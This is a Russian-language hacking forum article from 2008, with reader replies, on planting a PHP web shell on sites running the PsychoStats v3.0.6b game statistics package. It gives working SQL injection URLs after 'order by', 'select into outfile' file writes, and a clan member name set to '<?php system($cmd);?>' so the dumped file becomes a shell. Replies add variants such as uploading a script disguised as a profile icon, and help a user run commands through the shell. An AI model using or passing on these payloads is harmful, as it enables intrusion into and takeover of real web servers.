Здравствуйте, предлагаю Вашему вниманию статью про то, как залить шелл на сайт через игровую статистику PsychoStats. Статья, по-существу, является описанием к видео . Главной проблемой в заливке шелла через эту игровую статистику является нахождение пути к папке с правами на запись. Если Вы нашли сайт с такой статой и нашли полный путь к папке с определёнными правами, тогда вам повезло и можно залить шелл И так, по шагам... Сперва мне пришла в голову идея как-либо полезно воспользоваться паблик "сплойтом" для этой игровой статы... Code: http://www.example.com/[path]/server.php?newcss=styles.css&newtheme=%00 Попробовал на локальном сайте, ввёл в броузерную строку сплойт и получил кучу ошибок, после чего стата больше не открывалась в принципе =\...Не зная в чем дело, попросил помощи в соответствующем разделе на ачате Правда, ответа так и не получил, зато мне дали толчок найти другие дыры(спасибо Scipio), собственноручно нашёл уже ранее найденные уязвимости в стате. Это были sql-inj после "order by". Code: /player.php?id=1093&ssort=(-skill*1)&sorder=desc#plrsessions /clan.php?id=3&psort=(-deaths*1)&porder=desc Далее хочу сказать спасибо Noiro, он предложил использовать подзапросы в этих скулях, что я и сделал. Code: /player.php?id=1093&ssort=(-skill*(select 1))&sorder=desc#plrsessions /clan.php?id=3&psort=(-deaths*(select 1))&porder=desc На удивление, эти скули работали =\ После чего я решил попробовать записать запрос в файл на сервере... Code: /player.php?id=1093&ssort=(-skill*(select 1 into outfile '/path/file.txt'))&sorder=desc#plrsessions Файл создался и в него было записано следующее... Code: 1191849001 1191849415 7405.11 4 4 1.00 2 50.00 0 0 0.00 0 0.00 593 53 11 13.25 20.75 0 414 1191852522 1191854127 7283.30 22 10 2.20 10 45.45 0 0 0.00 0 0.00 3262 261 77 11.86 29.50 0 1605 1191938597 1191938813 7195.62 2 2 1.00 1 50.00 0 0 0.00 1 50.00 404 32 10 16.00 31.25 0 216 1192130752 1192130937 7067.62 2 0 2 2 100.00 0 0 0.00 0 0.00 229 51 8 25.50 15.69 0 185 1192024974 1192026895 7038.66 38 18 2.11 4 10.53 0 0 0.00 0 0.00 4999 289 85 7.61 29.41 1 1921 Это статистика некоторого пользователя с id=1093. Как видно записались одни цифры =( После этой неудачи я решил записать запрос в файл через другую скулю(а вдуг чего изменится!!!)... Code: /clan.php?id=3&psort=(-deaths*(select 1 into outfile 'd:/system/server/www/info/inet2/2.txt'))&porder=desc Получил в файле такую лабуду... Code: 1093 1093 2007-04-06 2007-09-30 21.24 0 11 8 72.73 36 90.00 40 2.91 28 2.04 308 0 82 377 314 374 333 29.50 88582 607 16 6 0.99 5 0.86 76 0 172 29.45 2284 0 0 0 0 31 584 25 0.96 0.72 1191141416 48366 3 25.00 1373 10751 18.41 3 580 617 495 796 70.50 117 12 0 0 0 1093 167840198 1175835726 3 1 2 7136.22 10000.00 1198267271 1 167840198 \N [@_oFF_D]~TURIK.<awp>~ 0 \N \N 1105 1105 2007-04-26 2007-06-02 21.72 0 17 10 58.82 44 88.00 50 1.79 37 1.32 209 0 133 713 683 562 534 33.40 253615 1462 24 17 1.16 16 0.92 130 0 602 34.56 6452 0 0 0 0 32 1742 20 1.19 1.01 1180795626 103380 0 0.00 2799 29702 17.05 10 909 1224 712 1065 66.60 177 12 0 0 0 1105 167840029 1177607393 3 32 33 4230.00 10000.00 1197207865 1 167840029 \N [@_oFF_D]-=TURIK=- 0 \N \N 23 23 2006-04-16 2007-12-16 19.32 0 37 22 59.46 426 88.02 484 1.66 390 1.33 3160 0 1263 6261 8781 5542 7798 41.72 2144771 11281 23 99 0.88 136 0.95 1173 0 4327 30.38 58846 0 0 0 0 40 14241 55 1.26 1.12 1197827019 761210 33 17.65 29223 304526 21.38 62 7654 9540 8698 10894 58.28 1644 187 1 0 0 23 167840133 1145209176 3 49 50 3612.55 3782.04 1197827019 1 167840133 \N [@_oFF_D]_[@$PeR] skull.gif 0 \N \N Помимо всякой чуши из циферок, в файле я нашёл имена мемберов клана с id=3(префикс которого=[@_oFF_D]). Потом мне пришло в голову , что если я состою в клане, то назвавшись, к примеру, "<? system($cmd) ?>", я залью это в файл и получу шелл!!! Благо на имена пользователей в этой стате никаких ограничений не стоит и я так и сделал. Шелл залился, всё прошло замечательно! С наилучшими пожеланиями, FoST 8(тире)794(тире)038 (с) FoST 08.01.2008, 23:00 Статья впервые опубликована здесь на ачате.
можно и проще сделать, лимит подобрать такой,который указывает на твоего пользователя с шеллом непробовал но скорее всего можно, причем нужно конечно иметь file_priv пользователя мускула
Ну да...Тоже вариант. Я когда убедился что в скулях после order by выполняются подзапросы очень удивился Поэтому всё делал исключительно через них...
Обязательно указывать полный путь до папки с правами? Ведь на всех статистиках возможна запись в папку /images , /images/maps/ . Может можно просто Code: /player.php?id=1093&ssort=(-skill*(select 1 into outfile '/images/file.txt'))&sorder=desc#plrsessions ?
обязательно полный путь, если путь вобще не указывать, то он зальет в текущую папку, т.е. в ту где хранятся файлы базы данных, а они из веба недоступны т.е. поумалчанию файлы заливаются в папку с файлами базы данных
Можно попробовать через текущую папку outfile './../../..path/file.txt') ..path=путь к дире доступной для чтения извне. Но там придётся или подбирать этот самый путь или же использовать заранее найденную локальную php-inj.
папка с базами мускула как правило находится далеко от папок веба, поэтому вот это outfile './../../..path/file.txt') бесполезно \n =) а уж если есть локал пшп инж, то проще залить в /tmp , в неё то всегда записать можно)
Там еще можно иконку заливать в профиле (Хотя я не везде видел).Так вот, вместо нее заливаем пхп скрипт ) Только не помню, называем 1.ico.php - так кажется
не могу зарегать юзера что надо в поле Player Name: когда вписываю имя у меня не регится а пишет только Unique ID does not exist что делать ?
Т.к. большинство ников в стате висят только потому, что с ними играли в самой игре кс, то можно взять и зарегать этот ник на себя Чтобы залить шелл обязательно нужно состоять в клане! Так что регай ник, который уже состоит в клане. Если так не получится, тогда заходи в игру, поиграй чуток и в клан войди
я звиняюсь у мя проблемы с мускульными запросами: поясните плз сдесь в файл по пути d:/system/.... записывается эм.. инфа о участниках клана... я прошу пояснить так как у меня возникла проблема ... как понял для того чтобы пхп-шлл заработал.... надо вывисти в файл одну строку с пхп-имем 1-ого участника клана... а у мя в файл выводится инфа о всех пользователях клана и врезультате запуска шела выкидывает страничку с ошибкой Плз ..подскажите что не так делаю... п.с. на этом примере
Для того, чтобы пхп-шелл заработал надо, чтобы в тексте оказалась строчка <?php system($cmd);?> Да, в этом когда записываешь через into outfile, в файле оказывается информация о всех участниках. Имя одного из них(любого) должно быть как раз-таки шеллом. php-код обрабатывается как язык программирования, только лишь в случае встречи спецтегов <? ... ?> Запиши в ТХТ файл и покажи, что у тебя там записалось.
nightmare007, запускай скрипт так http://сайт/cs/3.php?cmd=[команда] например http://сайт/cs/3.php?cmd=id У тебя в ошибке написано Cannot execute a blank command in W:\www\cs\3.php on line 1 Невозможно выполнить пустую команду, т к ты не задал переменную $cmd
Которая в статье - "Powered by PsychoStats v3.0.6b © 2006". А чтобы узнать уязвима стата или нет, проведи скл-инъекцию после 'order by'.
вот что в текстовом файле: обратил внимание на <?php system($cmd);?> точку с запятой ..d);?>.. но без результатно что с ней что без неё показывает ошибку и всотут